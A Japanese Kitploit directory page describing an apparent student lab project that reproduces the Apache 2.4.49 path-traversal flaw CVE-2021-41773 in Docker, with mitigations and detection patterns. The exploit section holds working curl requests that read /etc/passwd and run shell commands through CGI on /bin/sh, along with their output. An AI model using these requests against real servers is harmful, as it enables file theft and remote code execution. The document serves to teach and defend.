Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Apache-CVE-2021-41773 — WHS 4期 イ・ヒス。 kr-vulhub 課題提出物 | Kitploit
ツール/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4期 イ・ヒス。 kr-vulhub 課題提出物

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-41773 Apache HTTP Server Path Traversal

貢献者

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49には、URLパスを正規化する過程でエンコードされた親パスを適切にブロックできない脆弱性が存在します。

攻撃者は.%2eのような値を使用して、ウェブサーバーが公開するように設定したディレクトリの外に移動できます。外部ディレクトリへのアクセスが許可されている環境では、サーバー内部のファイルが漏洩する可能性があり、CGI機能が有効な場合、システムシェルを実行してリモートコマンド実行につながる可能性があります。

本プロジェクトでは、Dockerを使用してApache HTTP Server 2.4.49環境を直接構築し、以下の2つを再現しました。

  • Path Traversalを使用した/etc/passwdファイルの漏洩
  • CGIを使用したリモートコマンド実行

プロジェクト構成

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

環境構成

次のコマンドでDockerイメージをビルドし、コンテナを実行します

root@kitploit:~
docker compose up -d --build

コンテナの実行状態は次のコマンドで確認します

root@kitploit:~
docker ps

実行結果でコンテナがUp状態であり、ホストの8080番ポートがコンテナの80番ポートに接続されていることを確認します


正常なウェブサービスの確認

ブラウザで次のアドレスにアクセスします。

root@kitploit:~
http://localhost:8080

正常にApacheウェブページが表示され、環境構成の完了を確認します


Apacheバージョンの確認

次のコマンドでコンテナ内部のApacheバージョンを確認します

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

実行結果:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

CVE-2021-41773の影響を受けるApache HTTP Server 2.4.49が実行されていることを確認します


脆弱性条件

本実習環境では、次の条件が適用されています。

  • Apache HTTP Server 2.4.49を使用
  • AliasおよびScriptAliasパスを使用
  • ウェブルート外のディレクトリへのアクセスを許可
  • CGI機能を有効化
  • Apacheプロセスがdaemonアカウントで実行

Apache設定では、次のようにファイルシステムの最上位パスへのアクセスが許可されています。

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

また、CGIの実行には次の設定を使用しました。

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

次のリクエストは、エンコードされた親パスを使用してコンテナ内部の/etc/passwdファイルにアクセスします。

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2eはURLデコード後に..として処理されます。

したがって、攻撃者はAliasパスを基準に複数回上位ディレクトリに移動した後、/etc/passwdファイルにアクセスできます。

実行結果:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwdには、ユーザー名、UID、GID、ホームディレクトリ、ログインシェルなどのシステムアカウント情報が保存されています。

実際のパスワードは含まれていませんが、通常の外部ウェブユーザーがアクセスできないはずのサーバー内部ファイルがHTTPリクエストだけで漏洩したという点で、情報漏洩の脆弱性が確認されます。

実際の運用環境では、同じ方法で以下のような機密情報が漏洩する可能性があります。

  • アプリケーション設定ファイル
  • データベース接続情報
  • APIキーおよび認証情報
  • ソースコード
  • ログファイル
  • 証明書および秘密鍵

CGIを介したコマンド実行

次のリクエストは、Path Traversalを使用して/bin/shにアクセスし、whoamiコマンドを実行します。

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

実行結果:

root@kitploit:~
daemon

/cgi-bin/パスはScriptAliasで設定されているため、Apacheはそのパスのファイルを単に読み取るのではなく、CGIプログラムとして実行します。

Path Traversalを介して/bin/shにアクセスした後、リクエスト本文に含まれるコマンドを渡すと、Apacheの実行アカウント権限でコマンドが実行されます。

本環境では、Apacheは次のアカウントで実行されます。

root@kitploit:~
User daemon
Group daemon

したがって、コマンド実行結果もdaemonアカウントで出力されました。

root権限ではありませんが、以下のような追加の脅威が発生する可能性があります。

  • ウェブアプリケーションファイルの改ざん
  • 設定ファイルおよび認証情報の窃取
  • 悪意のあるファイルのダウンロードおよび実行
  • 内部ネットワークの探索
  • 追加の脆弱性を利用した権限昇格

PoCスクリプトの実行

個別のコマンドの代わりにPoCスクリプトを使用して、正常なサービス、Path Traversal、リモートコマンド実行を一度に確認できます。

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

スクリプトは次の項目を順番に確認します。

root@kitploit:~
[1] 正常なサービス確認
[2] Path Traversalによる/etc/passwdへのアクセス
[3] CGIによるidコマンド実行


対応策

Apacheバージョンの更新

Apache HTTP Server 2.4.49を使用せず、セキュリティパッチが適用された最新バージョンに更新する必要があります。

最上位ディレクトリへのアクセス遮断

運用環境では、ファイルシステムの最上位パスをデフォルトで遮断する必要があります。

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

必要なウェブディレクトリのみ個別に許可します。

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

不要なCGIの無効化

CGI機能が必要ない場合は、次の機能を無効にします。

  • mod_cgi
  • ScriptAlias
  • ExecCGI

最小権限の適用

Apacheプロセスはrootではなく、制限されたサービスアカウントで実行し、そのアカウントがアクセスできるファイルやディレクトリを最小限にする必要があります。

ログ監視

以下のような異常なパスを含むリクエストを検出し、遮断する必要があります。

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

環境の終了

root@kitploit:~
docker compose down

結論

本実習では、Dockerfileを使用してApache HTTP Server 2.4.49をビルドし、Docker Composeを通じて再現可能な脆弱な環境を構成しました。

Path Traversalリクエストにより、通常のウェブユーザーがアクセスできないはずのコンテナ内部の/etc/passwdファイルが漏洩することを確認しました。

また、CGIが有効な環境では、/bin/shにアクセスしてApache実行アカウントであるdaemon権限でシステムコマンドを実行できることを確認しました。

これにより、CVE-2021-41773が単なるパス漏洩だけでなく、環境設定によってリモートコマンド実行につながる脆弱性であることを確認できます。


参考資料

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
ツールをダウンロード